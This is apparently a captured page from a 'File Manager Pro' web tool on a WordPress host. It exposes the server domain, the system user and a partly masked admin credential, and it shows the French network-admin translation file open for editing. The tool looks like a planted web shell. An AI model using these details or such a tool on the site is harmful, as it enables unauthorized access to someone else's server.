đïž File Manager Pro
đ„ïž Tipo de Hospedagem:
Vps
đ DiretĂłrio Raiz:
/home
đ Servidor:
www.apm-abl.com
đ€ UsuĂĄrio:
apmablcosr
đ SessĂŁo:
đ Credenciais:
adm_c86d0b07 / 352c****
đ Localização Atual:
home
Caminho completo: /home
đ€ Enviar Arquivo
đ Nova Pasta
âŹïž Voltar
đ Raiz
đïž DELETAR
đŠ ZIPAR/DEZIPAR
Status
Nome
Tamanho
Modificado
PermissÔes
AçÔes
đ a
-
03/02/2026 22:15
0755
âïž
đ apmablcosr
-
26/01/2026 16:35
0705
âïž
đïž
Editando: admin-network-fr_FR.l10n.php.tar
home/apmablcosr/www/wp-content/languages/admin-network-fr_FR.l10n.php 0000644 00000130734 15136114427 0021560 0 ustar 00 <?php return ['x-generator'=>'GlotPress/4.0.1','translation-revision-date'=>'2024-03-06 23:03:03+0000','plural-forms'=>'nplurals=2; plural=n > 1;','project-id-version'=>'WordPress - 6.5.x - Development - Administration - Network Admin','language'=>'fr','messages'=>['siteActivate'=>'Activer','Missing site title.'=>'Titre du site manquant.','Table ordered by User Registered Date.'=>'Tableau triĂ© par date dâinscription du compte.','Table ordered by Theme Name.'=>'Tableau triĂ© par nom de thĂšme.','Table ordered by Site Registered Date.'=>'Tableau triĂ© par date de crĂ©ation du site.','Table ordered by Last Updated.'=>'Tableau triĂ© par date de derniĂšre mise Ă jour.','Table ordered by Site Path.'=>'Tableau triĂ© par chemin dâaccĂšs du site.','Table ordered by Site Domain Name.'=>'Tableau triĂ© par nom de domaine du site.','https://wordpress.org/documentation/article/nginx/'=>'https://wordpress.org/documentation/article/nginx/','Network configuration authentication keys'=>'ClĂ©s dâauthentification de la configuration du rĂ©seau','Network configuration rules for %s'=>'RĂšgles de configuration du rĂ©seau pour le fichier %s','WordPress has been updated! Next and final step is to individually upgrade the sites in your network.'=>'WordPress a Ă©tĂ© mis Ă jour ! La prochaine Ă©tape pour finaliser est de mettre Ă niveau individuellement les sites de votre rĂ©seau.','Cannot create an empty site.'=>'Impossible de crĂ©er un site vide.','You should back up your existing %s file.'=>'Vous devez sauvegarder votre fichier %s existant.','You should back up your existing %1$s and %2$s files.'=>'Vous devriez sauvegarder vos fichiers %1$s et %2$s existants.','Visit theme site for %s'=>'Consultez le site du thĂšme pour %s','Child theme of %s'=>'ThĂšme enfant de %s','<a href="https://wordpress.org/documentation/article/network-admin-settings-screen/">Documentation on Network Settings</a>'=>'<a href="https://fr.wordpress.org/support/article/network-admin-settings-screen/">Documentation de lâĂ©cran des rĂ©glages de lâadministration du rĂ©seau</a>','sitePublic'=>'Public','siteNot spam'=>'Non indĂ©sirable','%s theme will no longer be auto-updated.'=>'%s thĂšme ne sera plus mis Ă jour automatiquement.' . "\0" . '%s thĂšmes ne seront plus mis Ă jour automatiquement.','%s theme will be auto-updated.'=>'%s thĂšme sera mis Ă jour automatiquement.' . "\0" . '%s thĂšmes seront mis Ă jour automatiquement.','Sorry, you are not allowed to change themes automatic update settings.'=>'DĂ©solĂ©, vous nâavez pas lâautorisation de modifier les rĂ©glages de mise Ă jour automatique des thĂšmes.','No themes are currently available.'=>'Aucun thĂšme nâest actuellement disponible.','Y/m/d g:i:s a'=>'d/m/Y G:i:s','It seems your network is running with Nginx web server. <a href="%s">Learn more about further configuration</a>.'=>'Il semble que votre rĂ©seau fonctionne avec un serveur web Nginx. <a href="%s">En savoir plus sur les possibilitĂ©s de configurations supplĂ©mentaires</a>.','Deleted <span class="count">(%s)</span>'=>'SupprimĂ© <span class="count">(%s)</span>' . "\0" . 'SupprimĂ©s <span class="count">(%s)</span>','sitesSpam <span class="count">(%s)</span>'=>'IndĂ©sirable <span class="count">(%s)</span>' . "\0" . 'IndĂ©sirables <span class="count">(%s)</span>','Mature <span class="count">(%s)</span>'=>'Contenu adulte <span class="count">(%s)</span>' . "\0" . 'Contenu adulte <span class="count">(%s)</span>','Archived <span class="count">(%s)</span>'=>'ArchivĂ© <span class="count">(%s)</span>' . "\0" . 'ArchivĂ©s <span class="count">(%s)</span>','Public <span class="count">(%s)</span>'=>'Public <span class="count">(%s)</span>' . "\0" . 'Publics <span class="count">(%s)</span>','sitesAll <span class="count">(%s)</span>'=>'Tous <span class="count">(%s)</span>' . "\0" . 'Tous <span class="count">(%s)</span>','<a href="https://wordpress.org/documentation/article/network-admin-updates-screen/">Documentation on Upgrade Network</a>'=>'<a href="https://wordpress.org/support/article/network-admin-updates-screen/">Documentation sur la mise Ă jour dâun rĂ©seau (en anglais)</a>','<a href="https://wordpress.org/documentation/article/network-admin/">Documentation on the Network Admin</a>'=>'<a href="https://fr.wordpress.org/support/article/network-admin/">Documentation sur les rĂ©glages dâun rĂ©seau de sites</a>','themesUpdate Available <span class="count">(%s)</span>'=>'Mise Ă jour disponible <span class="count">(%s)</span>' . "\0" . 'Mises Ă jour disponible <span class="count">(%s)</span>','Main'=>'Principal','<a href="https://wordpress.org/documentation/article/tools-network-screen/">Documentation on the Network Screen</a>'=>'<a href="https://wordpress.org/support/article/tools-network-screen/">Documentation sur lâĂ©cran CrĂ©er un rĂ©seau de sites WordPress (en anglais)</a>','<a href="https://wordpress.org/documentation/article/create-a-network/">Documentation on Creating a Network</a>'=>'<a href="https://fr.wordpress.org/support/article/create-a-network/">Documentation sur la crĂ©ation dâun rĂ©seau multisite</a>','The constant %s cannot be defined when creating a network.'=>'La constante %s ne peut pas ĂȘtre dĂ©finie lors de la crĂ©ation dâun rĂ©seau.','You are about to delete the following sites:'=>'Vous allez supprimer les sites suivants :','User could not be added to this site.'=>'Le compte ne peut pas ĂȘtre ajoutĂ© Ă ce site.','The username and a link to set the password will be mailed to this email address.'=>'Lâidentifiant et un lien pour mettre en place son mot de passe seront envoyĂ©s Ă cette adresse e-mail.','There is a pending change of the network admin email to %s.'=>'Il y a une modification en attente pour lâe-mail dâadministration du rĂ©seau sur %s.','Sub-domain Installation'=>'Installation en sous-domaine','Sub-directory Installation'=>'Installation en sous-rĂ©pertoire','Active Child Theme'=>'ThĂšme enfant actif','Attributes'=>'Attributs','%s KB'=>'%s Ko','%s Sites'=>'Les sites de %s','Sorry, you are not allowed to delete themes for this site.'=>'DĂ©solĂ©, vous nâavez pas lâautorisation de supprimer les thĂšmes de ce site.','Sorry, you are not allowed to manage network themes.'=>'DĂ©solĂ©, vous nâavez pas lâautorisation de gĂ©rer les thĂšmes du rĂ©seau.','Sorry, you are not allowed to delete that site.'=>'DĂ©solĂ©, vous nâavez pas lâautorisation de supprimer ce site.','Sorry, you are not allowed to manage themes for this site.'=>'DĂ©solĂ©, vous nâavez pas lâautorisation de gĂ©rer les thĂšmes de ce site.','Sorry, you are not allowed to add sites to this network.'=>'DĂ©solĂ©, vous nâavez pas lâautorisation dâajouter des sites sur ce rĂ©seau.','Sorry, you are not allowed to edit this site.'=>'DĂ©solĂ©, vous nâavez pas lâautorisation de modifier ce site.','The email address of the first comment author on a new site.'=>'Lâadresse e-mail de lâauteur ou autrice du premier commentaire sur un nouveau site.','First Comment Email'=>'E-mail du premier commentaire','That’s all, stop editing! Happy publishing.'=>'Câest tout, ne touchez pas Ă ce qui suit ! Bonne publication de contenus !','Add the following to your %1$s file in %2$s <strong>above</strong> the line reading %3$s:'=>'Ajouter ce texte Ă votre fichier %1$s dans %2$s <strong>au dessus</strong> de la ligne %3$s :','theme%1$s by %2$s'=>'%1$s par %2$s','Only lowercase letters (a-z), numbers, and hyphens are allowed.'=>'Uniquement des lettres minuscules non accentuĂ©es (a-z), des chiffres (0-9), et des traits dâunion (-) sont autorisĂ©s.','These unique authentication keys are also missing from your %s file.'=>'Ces clĂ©s dâauthentification uniques manquent Ă©galement Ă votre fichier %s.','This unique authentication key is also missing from your %s file.'=>'La clĂ© unique dâauthentification est aussi absente de votre fichier %s.','Because you are using %1$s, the sites in your WordPress network must use sub-directories. Consider using %2$s if you wish to use sub-domains.'=>'Dans le mesure oĂč vous utilisez %1$s, les sites de votre rĂ©seau WordPress doivent fonctionner avec des sous-rĂ©pertoires. Utilisez plutĂŽt %2$s si vous prĂ©fĂ©rez quâils fonctionnent avec des sous-domaines.','The internet address of your network will be %s.'=>'Lâadresse internet de votre rĂ©seau sera %s.','You should consider changing your site domain to %1$s before enabling the network feature. It will still be possible to visit your site using the %3$s prefix with an address like %2$s but any links will not have the %3$s prefix.'=>'Il est recommandĂ© de modifier votre adresse de site pour %1$s avant dâactiver la fonctionnalitĂ© rĂ©seau. Il sera toujours possible de parcourir votre site en mettant le prĂ©fixe %3$s Ă une adresse telle que %2$s, mais tous les liens nâauront pas le prĂ©fixe %3$s.','You cannot change this later.'=>'Vous ne pourrez pas changer ceci ultĂ©rieurement.','Please choose whether you would like sites in your WordPress network to use sub-domains or sub-directories.'=>'Veuillez indiquer si vous souhaitez que les sites de votre rĂ©seau WordPress utilisent des sous-domaines ou des sous-rĂ©pertoires.','If %1$s is disabled, ask your administrator to enable that module, or look at the <a href="%2$s">Apache documentation</a> or <a href="%3$s">elsewhere</a> for help setting it up.'=>'Si %1$s est dĂ©sactivĂ©, demandez Ă votre administrateur ou administratrice dâactiver ce module, ou parcourez <a href="%2$s">la documentation Apache </a>. Vous pouvez aussi <a href="%3$s">lancer une recherche</a> afin de trouver de lâaide sur lâinstallation.','It looks like the Apache %s module is not installed.'=>'Il semble que le module %s dâApache ne soit pas installĂ©.','Please make sure the Apache %s module is installed as it will be used at the end of this installation.'=>'Veuillez vous assurer que le module %s dâApache soit installĂ©, car il sera utilisĂ© Ă la fin de lâinstallation.','You cannot use port numbers such as %s.'=>'Vous ne pouvez pas utiliser des numĂ©ros de port tels que %s.','userRegistered'=>'Inscription','Super Admin <span class="count">(%s)</span>'=>'Super-admin <span class="count">(%s)</span>' . "\0" . 'Super-admins <span class="count">(%s)</span>','userNot spam'=>'Nâest pas un indĂ©sirable','userMark as spam'=>'Marquer comme indĂ©sirable','Visit Theme Site'=>'Aller sur le site du thĂšme','Broken Theme:'=>'ThĂšme cassé :','Network Disable %s'=>'DĂ©sactiver %s pour le rĂ©seau','Disable %s'=>'DĂ©sactiver %s','Network Enable %s'=>'Activer %s sur le rĂ©seau','Enable %s'=>'Activer %s','Network Disable'=>'DĂ©sactiver du rĂ©seau','Disable'=>'DĂ©sactiver','Enable'=>'Activer','themesBroken <span class="count">(%s)</span>'=>'CassĂ© <span class="count">(%s)</span>' . "\0" . 'CassĂ©s <span class="count">(%s)</span>','themesDisabled <span class="count">(%s)</span>'=>'DĂ©sactivĂ© <span class="count">(%s)</span>' . "\0" . 'DĂ©sactivĂ©s <span class="count">(%s)</span>','themesEnabled <span class="count">(%s)</span>'=>'ActivĂ© <span class="count">(%s)</span>' . "\0" . 'ActivĂ©s <span class="count">(%s)</span>','themesAll <span class="count">(%s)</span>'=>'Tous <span class="count">(%s)</span>' . "\0" . 'Tous <span class="count">(%s)</span>','No themes found.'=>'Aucun thĂšme trouvĂ©.','verb; siteArchive'=>'Archiver','Unarchive'=>'DĂ©sarchiver','Never'=>'Jamais','%1$s – %2$s'=>'%1$s – %2$s','siteRegistered'=>'Inscription','Last Updated'=>'DerniĂšre mise Ă jour','siteNot Spam'=>'Nâest pas un indĂ©sirable','siteMark as spam'=>'Marquer comme indĂ©sirable','No sites found.'=>'Aucun site trouvĂ©.','Mature'=>'Adulte','Deleted'=>'SupprimĂ©','siteSpam'=>'IndĂ©sirable','Archived'=>'ArchivĂ©','A password reset link will be sent to the user via email.'=>'Un lien de rĂ©initialisation de mot de passe sera envoyĂ© par e-mail au compte.','If registration is disabled, please set %1$s in %2$s to a URL you will redirect visitors to if they visit a non-existent site.'=>'Si la crĂ©ation de compte est dĂ©sactivĂ©e, veuillez remplir la valeur de %1$s (dans le fichier %2$s) avec lâadresse vers laquelle vous souhaitez que les visiteurs soient redirigĂ©s lorsquâils se rendent Ă un site qui nâexiste pas.','You must define the %1$s constant as true in your %2$s file to allow creation of a Network.'=>'Vous devez mettre la constante %1$s Ă true dans votre fichier %2$s afin de permettre la crĂ©ation dâun RĂ©seau.','Themes list navigation'=>'Naviguation de la liste des thĂšmes','Sites list'=>'Liste des sites','Sites list navigation'=>'Navigation de la liste des sites','Site users list'=>'Liste des comptes du site','Site users list navigation'=>'Parcours de la liste des comptes du site','Filter site users list'=>'Filtrer la liste des comptes du site','Site themes list'=>'Liste des thĂšmes du site','Site themes list navigation'=>'Parcours de la liste des thĂšmes du site','Filter site themes list'=>'Filtrer la liste des thĂšme du site','The domain or path entered conflicts with an existing username.'=>'Le domaine ou le chemin saisi est entrĂ© en conflit avec un identifiant existant.','The requested action is not valid.'=>'Lâaction demandĂ©e nâest pas valide.','You are about to mark the site %s as not mature.'=>'Vous ĂȘtes sur le point dâindiquer que le site %s nâest pas rĂ©servĂ© aux adultes.','You are about to mark the site %s as mature.'=>'Vous ĂȘtes sur le point dâindiquer que le site %s est rĂ©servĂ© aux adultes.','You are about to delete the site %s.'=>'Vous ĂȘtes sur le point de supprimer le site %s.','You are about to mark the site %s as spam.'=>'Vous ĂȘtes sur le point de marquer le site %s comme indĂ©sirable.','You are about to unspam the site %s.'=>'Vous ĂȘtes sur le point de marquer le site %s comme sain.','You are about to archive the site %s.'=>'Vous ĂȘtes sur le point dâarchiver le site %s.','You are about to unarchive the site %s.'=>'Vous ĂȘtes sur le point de dĂ©sarchiver le site %s.','You are about to deactivate the site %s.'=>'Vous ĂȘtes sur le point de dĂ©sactiver le site %s.','You are about to activate the site %s.'=>'Vous ĂȘtes sur le point dâactiver le site %s.','The requested site does not exist.'=>'Le site demandĂ© nâexiste pas.','Path'=>'Chemin ','Domain'=>'Domaine','<a href="https://codex.wordpress.org/Network_Admin_Users_Screen">Documentation on Network Users</a>'=>'<a href="https://wordpress.org/support/article/network-admin/#users">Documentation sur les comptes du rĂ©seau (en anglais)</a>.','<a href="https://codex.wordpress.org/Network_Admin_Themes_Screen">Documentation on Network Themes</a>'=>'<a href="https://wordpress.org/support/article/network-admin/#themes">Documentation sur les thĂšmes du rĂ©seau (en anglais)</a>.','Warning! Problem updating %1$s. Your server may not be able to connect to sites running on it. Error message: %2$s'=>'Attention ! Un problĂšme est survenu lors de la mise Ă jour de %1$s. Votre serveur peut ne pas ĂȘtre en mesure de se connecter Ă certains sites qui y sont installĂ©s. Message dâerreur : %2$s.','%s theme deleted.'=>'%s thĂšme supprimĂ©.' . "\0" . '%s thĂšmes supprimĂ©s.','%s theme disabled.'=>'%s thĂšme dĂ©sactivĂ©.' . "\0" . '%s thĂšmes dĂ©sactivĂ©s.','%s theme enabled.'=>'%s thĂšme activĂ©.' . "\0" . '%s thĂšmes activĂ©s.','Yes, delete these themes'=>'Oui, supprimer ces thĂšmes','You are about to remove the following themes:'=>'Vous ĂȘtes sur le point dâenlever les thĂšmes suivants :','These themes may be active on other sites in the network.'=>'Ces thĂšmes peuvent ĂȘtre actifs sur dâautres site de ce rĂ©seau.','Delete Themes'=>'Supprimer les thĂšmes','Set site attributes'=>'Configurer les attributs du site','Enable menus'=>'Activer les menus','Size in kilobytes'=>'Taille en kilooctets','Allowed file types. Separate types by spaces.'=>'Types de fichier autorisĂ©s. SĂ©parez les types par une espace.','New registrations settings'=>'RĂ©glages pour les nouvelles inscriptions','Add the following to your %1$s file in %2$s, <strong>replacing</strong> other WordPress rules:'=>'Ajoutez les rĂšgles suivantes Ă votre fichier %1$s, dans le dossier %2$s, <strong>en remplacement</strong> dâautres rĂšgles de WordPress :','Confirm your action'=>'Confirmez cette action','Hover over any user on the list to make the edit links appear. The Edit link on the left will take you to their Edit User profile page; the Edit link on the right by any site name goes to an Edit Site screen for that site.'=>'Survolez nâimporte quel compte de la liste pour faire apparaĂźtre les liens de modification. Le lien Modifier Ă gauche ouvrira la page de modification du profil du compte ; le lien Modifier Ă droite de nâimporte quel nom de site ouvrira lâĂ©cran de modification de ce site.','To search for a site, <strong>enter the path or domain</strong>.'=>'Pour rechercher un site, <strong>saisissez son chemin ou son domaine</strong>.','To search for a user, <strong>enter an email address or username</strong>. Use a wildcard to search for a partial username, such as user*.'=>'Pour rechercher un compte, <strong>saisissez une adresse e-mail ou un identifiant</strong>. Utilisez le signe Ă©toile (*) pour lancer une recherche sur un identifiant partiel, par exemple compt*.','To add a new site, <strong>click Create a New Site</strong>.'=>'Pour ajouter un nouveau site, <strong>cliquer sur CrĂ©er un nouveau site</strong>.','To add a new user, <strong>click Create a New User</strong>.'=>'Pour ajouter un nouveau compte, cliquez sur <strong>CrĂ©er un nouveau compte</strong>.','Quick Tasks'=>'TĂąches rapides','To search for a user or site, use the search boxes.'=>'Pour rechercher un compte ou un site, utilisez les champs de recherche.','The Right Now widget on this screen provides current user and site counts on your network.'=>'Le widget « Aujourdâhui » de cet Ă©cran vous donne le nombre actuel de comptes et de sites sur votre rĂ©seau.','Modify global network settings'=>'Modifier les rĂ©glages globaux du rĂ©seau','Update your network'=>'Mettre Ă jour votre rĂ©seau','Install and activate themes or plugins'=>'Installer et activer des thĂšmes ou des extensions','Add and manage sites or users'=>'Ajouter et gĂ©rer des sites ou des comptes','From here you can:'=>'Dâici, vous pouvez :','Welcome to your Network Admin. This area of the Administration Screens is used for managing all aspects of your Multisite Network.'=>'Bienvenue dans lâadministration de votre rĂ©seau ! Cette partie des Ă©crans dâadministration sert Ă gĂ©rer tous les aspects de votre rĂ©seau multisite.','Only use this screen once you have updated to a new version of WordPress through Updates/Available Updates (via the Network Administration navigation menu or the Toolbar). Clicking the Upgrade Network button will step through each site in the network, five at a time, and make sure any database updates are applied.'=>'Nâutilisez cet Ă©cran que quand vous avez mis Ă jour cette installation de WordPress (au moyen de la fonction de mise Ă jour automatique ou la barre dâoutils). En cliquant sur « Mettre Ă jour le rĂ©seau », WordPress sâoccupera de tous les sites du rĂ©seau, par groupes de cinq, et sâassurera que toutes les mises Ă jour de bases de donnĂ©es sont appliquĂ©es.','Upgrade Network'=>'Mettre Ă jour le rĂ©seau','Subdirectory networks may not be fully compatible with custom wp-content directories.'=>'Les sous-rĂ©pertoires du rĂ©seau peuvent ne pas ĂȘtre totalement compatibles avec les rĂ©pertoires personnalisĂ©s de wp-content.','Add the designated lines of code to wp-config.php (just before <code>/*...stop editing...*/</code>) and <code>.htaccess</code> (replacing the existing WordPress rules).'=>'Ajoutez les lignes de code dĂ©signĂ©es dans le fichier wp-config.php (juste avant <code>/*...Câest tout...*/</code>) et le fichier <code>.htaccess</code> (en remplaçant les rĂšgles existantes de WordPress).','Language Settings'=>'RĂ©glages de langue','Allow site administrators to add new users to their site via the "Users → Add New" page'=>'Autoriser les administrateurs ou administratrices de sites Ă ajouter de nouveaux comptes Ă leurs sites via la page « Comptes → Ajouter ».','Super admins can no longer be added on the Options screen. You must now go to the list of existing users on Network Admin > Users and click on Username or the Edit action link below that name. This goes to an Edit User page where you can check a box to grant super admin privileges.'=>'Les super-admins ne peuvent plus ĂȘtre ajoutĂ©s via lâĂ©cran des options. Vous devez aller Ă la liste des comptes (option « Comptes » du menu « Admin du rĂ©seau » et cliquer sur un identifiant ou sur le lien « Modifier » qui sâaffiche en dessous. Vous arriverez alors Ă un Ă©cran vous permettant de modifier ce compte, oĂč une case Ă cocher donne les droits de super-admin.','Enter the username and email.'=>'Saisissez lâidentifiant et lâadresse e-mail.','User created.'=>'Le compte a Ă©tĂ© créé.','Select a user to remove.'=>'SĂ©lectionnez un compte Ă supprimer.','Select a user to change role.'=>'SĂ©lectionnez un compte dont vous voulez changer le rĂŽle.','Enter the username of an existing user.'=>'Saisir lâidentifiant dâun compte existant.','User is already a member of this site.'=>'Ce compte est dĂ©jĂ membre de ce site.','Site options updated.'=>'Les rĂ©glages du site ont Ă©tĂ© mis Ă jour.','Site added. <a href="%1$s">Visit Dashboard</a> or <a href="%2$s">Edit Site</a>'=>'Site ajoutĂ©. <a href="%1$s">Afficher le tableau de bord</a> | <a href="%2$s">Modifier le site</a>','This screen is for Super Admins to add new sites to the network. This is not affected by the registration settings.'=>'Cet Ă©cran permet aux super-admins dâajouter de nouveaux sites au rĂ©seau. Il nâest pas limitĂ© par les rĂ©glages dâinscription.','Site info updated.'=>'Les infos du site ont Ă©tĂ© mises Ă jour.','You cannot delete a theme while it is active on the main site.'=>'Vous ne pouvez pas effacer un thĂšme sâil est activĂ© sur le site principal.','Themes can be enabled on a site by site basis by the network admin on the Edit Site screen (which has a Themes tab); get there via the Edit action link on the All Sites screen. Only network admins are able to install or edit themes.'=>'Les thĂšmes peuvent ĂȘtre activĂ©s par lâadministrateur/administratrice du rĂ©seau pour chaque site, individuellement, par le biais de lâĂ©cran de modification dâun site (et de son onglet « ThĂšmes »), accessible via le lien « Modifier » de la liste des sites. Seuls les administrateurs ou administratrices du rĂ©seau peuvent installer ou modifier des thĂšmes.','No, return me to the theme list'=>'Non, je veux revenir Ă la liste des thĂšmes.','Yes, delete this theme'=>'Oui, supprimer ce thĂšme','Are you sure you want to delete these themes?'=>'Confirmez-vous la suppression de ces thĂšmes ?','You are about to remove the following theme:'=>'Vous ĂȘtes sur le point de supprimer le thĂšme suivant :','This theme may be active on other sites in the network.'=>'Ce thĂšme est peut-ĂȘtre activĂ© sur dâautres sites du rĂ©seau','Delete Theme'=>'Supprimer le thĂšme','Network enabled themes are not shown on this screen.'=>'Les thĂšmes activĂ©s pour le rĂ©seau ne sont pas visibles sur cet Ă©cran.','No theme selected.'=>'Aucun thĂšme sĂ©lectionnĂ©.','Theme disabled.'=>'ThĂšme dĂ©sactivĂ©.','Theme enabled.'=>'ThĂšme activĂ©.','Edit Site: %s'=>'Modifier le site : %s','Invalid site ID.'=>'ID du site non valide.','Sorry, you are not allowed to delete the site %s.'=>'DĂ©solĂ©, vous nâavez pas lâautorisation de supprimer le site %s.','Clicking on bold headings can re-sort this table.'=>'Cliquez sur les en-tĂȘtes en gras afin de retrier ce tableau.','Delete which is a permanent action after the confirmation screens.'=>'« Supprimer » est une action irrĂ©versible une fois passĂ© lâĂ©cran de confirmation.','Dashboard leads to the Dashboard for that site.'=>'« Tableau de bord » envoie vers le tableau de bord du site.','An Edit link to a separate Edit Site screen.'=>'Un lien « Modifier » vers un nouvel Ă©cran de modification de site.','Add New takes you to the Add New Site screen. You can search for a site by Name, ID number, or IP address. Screen Options allows you to choose how many sites to display on one page.'=>'Ajouter vous envoie au formulaire en bas de cette page. Vous pouvez rechercher un site par le nom, lâidentifiant ou lâadresse IP. Les options dâĂ©cran vous permettent de choisir le nombre de sites Ă afficher sur une mĂȘme page.','Add User'=>'Ajouter un compte','Cannot add user.'=>'Impossible dâajouter le compte.','Add User will set up a new user account on the network and send that person an email with username and password.'=>'« Ajouter un compte » crĂ©era un nouveau compte sur le rĂ©seau, et enverra un message contenant son identifiant et son mot de passe au destinataire.','Updates'=>'Mises Ă jour','Network Settings'=>'RĂ©glages du rĂ©seau','Installed Themes'=>'ThĂšmes installĂ©s','All Sites'=>'Tous les sites','Once you complete these steps, your network is enabled and configured. You will have to log in again.'=>'Une fois que vous aurez passĂ© ces Ă©tapes, votre rĂ©seau sera activĂ© et configurĂ©. Vous devrez vous reconnecter.','To make your installation more secure, you should also add:'=>'Pour sĂ©curiser encore plus votre installation, vous devriez Ă©galement ajouter :','Complete the following steps to enable the features for creating a network of sites.'=>'Suivez les Ă©tapes suivantes pour activer les fonctionnalitĂ©s de crĂ©ation de rĂ©seau de sites.','Enabling the Network'=>'Activer le RĂ©seau','Please complete the configuration steps. To create a new network, you will need to empty or remove the network database tables.'=>'Veuillez suivre les Ă©tapes de configuration. Pour crĂ©er un nouveau rĂ©seau, vous devrez vider ou supprimer les tables du rĂ©seau de la base de donnĂ©es.','An existing WordPress network was detected.'=>'Un rĂ©seau WordPress prĂ©-existant a Ă©tĂ© dĂ©tectĂ©.','The original configuration steps are shown here for reference.'=>'Les Ă©tapes de la configuration originale sont affichĂ©es ici pour rĂ©fĂ©rence.','Your email address.'=>'Votre adresse e-mail.','What would you like to call your network?'=>'Comment souhaitez-vous appeler votre rĂ©seau ?','Network Title'=>'Titre du rĂ©seau','Because your installation is not new, the sites in your WordPress network must use sub-domains.'=>'Comme votre installation de WordPress nâest pas rĂ©cente, les sites de votre rĂ©seau doivent utiliser des sous-domaines.','Because your installation is in a directory, the sites in your WordPress network must use sub-directories.'=>'Comme votre installation de WordPress se trouve dans un rĂ©pertoire, les sites de votre rĂ©seau doivent utiliser des sous-rĂ©pertoires.','The main site in a sub-directory installation will need to use a modified permalink structure, potentially breaking existing links.'=>'Le site principal dâune installation en sous-rĂ©pertoire devra utiliser une structure de permaliens modifiĂ©e, ce qui pourrait potentiellement casser vos liens existants.','Network Details'=>'DĂ©tails du rĂ©seau','Server Address'=>'Adresse du serveur','subdirectory exampleslike <code>%1$s/site1</code> and <code>%1$s/site2</code>'=>'comme <code>%1$s/site1</code> et <code>%1$s/site2</code>','Sub-directories'=>'Sous-rĂ©pertoires','subdomain exampleslike <code>site1.%1$s</code> and <code>site2.%1$s</code>'=>'comme <code>site1.%1$s</code> et <code>site2.%1$s</code>','Sub-domains'=>'Sous-domaines','You will need a wildcard DNS record if you are going to use the virtual host (sub-domain) functionality.'=>'Si vous souhaitez utiliser la fonctionnalitĂ© dâhĂ©bergement virtuel (sous-domaine), vous aurez besoin dâun enregistrement DNS gĂ©nĂ©rique (joker/wildcard).','Addresses of Sites in your Network'=>'Adresses des sites de votre rĂ©seau','Fill in the information below and you’ll be on your way to creating a network of WordPress sites. Configuration files will be created in the next step.'=>'Remplissez les informations ci-dessous et vous pourrez crĂ©er un rĂ©seau de sites WordPress. Les fichiers de configuration seront créés lors de la prochaine Ă©tape.','Welcome to the Network installation process!'=>'Bienvenue dans lâinstallation du RĂ©seau !','Error: The network could not be created.'=>'Erreur : Le rĂ©seau ne peut pas ĂȘtre créé.','You cannot install a network of sites with your server address.'=>'Vous ne pouvez pas installer un rĂ©seau de sites avec votre adresse de serveur.','Once the network is created, you may reactivate your plugins.'=>'DĂšs que le rĂ©seau sera créé, vous pourrez rĂ©activer vos extensions.','Please <a href="%s">deactivate your plugins</a> before enabling the Network feature.'=>'Veuillez <a href="%s">dĂ©sactiver vos extensions</a> avant dâactiver la fonctionnalitĂ© RĂ©seau.','Network'=>'RĂ©seau','The choice of subdirectory sites is disabled if this setup is more than a month old because of permalink problems with “/blog/” from the main site. This disabling will be addressed in a future version.'=>'Le choix dâavoir des sites en mode sous-rĂ©pertoire est dĂ©sactivĂ© si le rĂ©seau a Ă©tĂ© installĂ© il y a un mois ou plus, afin de pallier les problĂšmes de permaliens avec lâajout de «  /blog/ » sur les adresses du site principal. Cette limitation sera corrigĂ©e dans une prochaine version.','Once you add this code and refresh your browser, multisite should be enabled. This screen, now in the Network Admin navigation menu, will keep an archive of the added code. You can toggle between Network Admin and Site Admin by clicking on the Network Admin or an individual site name under the My Sites dropdown in the Toolbar.'=>'Une fois que vous aurez ajoutĂ© ce code et rafraĂźchi la page dans votre navigateur, le mode multisite devrait ĂȘtre activĂ©. Cet Ă©cran, dĂ©sormais placĂ© dans le menu de navigation Admin du RĂ©seau, conservera une archive du code ajoutĂ©. Vous pouvez basculer de lâadministration du rĂ©seau Ă lâadministration du site en cliquant sur « Admin du rĂ©seau », ou en cliquant sur le nom dâun site individuel dans le menu dĂ©roulant « Mes Sites » de la barre dâoutils.','The next screen for Network Setup will give you individually-generated lines of code to add to your wp-config.php and .htaccess files. Make sure the settings of your FTP client make files starting with a dot visible, so that you can find .htaccess; you may have to create this file if it really is not there. Make backup copies of those two files.'=>'LâĂ©cran suivant vous prĂ©sentera un ensemble de lignes de code gĂ©nĂ©rĂ©es Ă partir de votre configuration, quâil vous faudra ajouter Ă vos fichiers wp-config.php et .htaccess. Veillez bien Ă ce que votre client FTP soit configurĂ© pour afficher les fichiers commençant par un point, afin que vous puissiez trouver le fichier .htaccess. Il est possible que vous ayez Ă crĂ©er ce fichier sâil nâest pas dĂ©jĂ prĂ©sent. Avant toute modification de wp-config.php et .htaccess, faites-en une copie de sauvegarde.','Choose subdomains or subdirectories; this can only be switched afterwards by reconfiguring your installation. Fill out the network details, and click Install. If this does not work, you may have to add a wildcard DNS record (for subdomains) or change to another setting in Permalinks (for subdirectories).'=>'Faites le choix entre sous-domaines ou sous-dossiers. Une fois lâinstallation configurĂ©e, vous ne pourrez pas revenir en arriĂšre sans recommencer Ă zĂ©ro. Saisissez tous les dĂ©tails, et cliquez sur « Installer ». Si cela ne marche pas, vous devrez sans doute ajouter une entrĂ©e de sous-domaine gĂ©nĂ©rique (wildcard) dans vos enregistrements DNS, ou passer Ă un rĂ©glage diffĂ©rent pour vos permaliens (si en mode sous-dossiers).','This screen allows you to configure a network as having subdomains (<code>site1.example.com</code>) or subdirectories (<code>example.com/site1</code>). Subdomains require wildcard subdomains to be enabled in Apache and DNS records, if your host allows it.'=>'Cet Ă©cran vous permet de configurer un rĂ©seau, sous la forme sous-domaines (<code>site1.example.com</code>) ou sous-dossiers (<code>example.com/site1</code>). La forme sous-domaines nĂ©cessite une entrĂ©e de sous-domaine gĂ©nĂ©rique (<i>wildcard</i>) dans les enregistrements DNS et la configuration Apache, si votre hĂ©bergeur le permet.','Create a Network of WordPress Sites'=>'CrĂ©er un rĂ©seau de sites WordPress','The Network creation panel is not for WordPress MU networks.'=>'Le panneau de crĂ©ation de rĂ©seau nâest pas conçu pour les rĂ©seaux WordPress MU.','Warning! User cannot be modified. The user %s is a network administrator.'=>'Avertissement ! Le compte %s ne peut ĂȘtre modifiĂ© car câest un administrateur ou une administratrice du rĂ©seau.','If the admin email for the new site does not exist in the database, a new user will also be created.'=>'Si lâadresse de contact du nouveau site nâexiste pas dans la base de donnĂ©es, un nouveau compte sera créé pour lâoccasion.','The site ID is used internally, and is not shown on the front end of the site or to 